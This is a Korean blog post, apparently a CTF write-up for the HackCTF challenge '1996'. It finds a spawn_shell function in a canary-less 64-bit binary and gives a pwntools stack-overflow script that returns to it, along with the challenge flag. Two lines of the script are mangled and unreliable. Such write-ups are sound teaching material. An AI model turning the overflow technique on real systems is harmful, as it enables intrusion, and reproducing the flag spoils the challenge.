본문 바로가기

WARGAME/hack ctf

1996

 

이번 문제는 다음과 같다. 바이너리를 다운로드하고 실행시켜 보면,

 

 

 

 

다음과 같이 "Which environment variable do you want to read?" 문자열이 뜨고 입력을 받게 돼 있다. 그 후 "입력 한 문자열"=root라는 문자열이 출력이 된다. ida로 분석해 보면,

 

 

 

 

다음과 같이 C++ 바이너리임을 알 수 있다. 코드를 보면 맨 처음 프로그램을 실행 했을때 나오는 문자열을 출력하고, cin 으로 name에 입력을 받는 것을 알 수 있다. 그리고 이후 "입력한 문자열"=root를 출력하는 것을 알 수 있다. 그냥 쉬운 bof 문제 같은데 다른 함수 목록들을 보면,

 

 

 

 

spawn_shell이라는 함수가 있다. 해당 함수를 보면,

 

 

 

/bin/bash를 실행 시키는 함수 임을 알 수 있다. 아 참고로,

 

 

 

 

 

해당 바이너리는 64bit이고 메모리 보호 기법이 적용되는 것을 보았을 때는 카나리가 없으므로 손쉽게 익스를 할 수 있다.

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import*
 
#p = process("./1996")
= remote("ctf.j0n9hyun.xyz"3013)
elf = ELF("./1996")
 
payload = ''
payload += 'A'*1040
payload += 'B'*8
payload += p64(0x400897)
 
p.sendline(payload)
 
p.interactive()

 

 

 

flag는 다음과 같다.

 

FLAG : HackCTF{b29a2800780d85cfc346}

'WARGAME > hack ctf' 카테고리의 다른 글

Look at me  (0) 2020.04.10
Random Key  (0) 2020.03.19
Poet  (0) 2020.03.10
RTL_World  (0) 2020.03.09
BOF_PIE  (0) 2020.03.09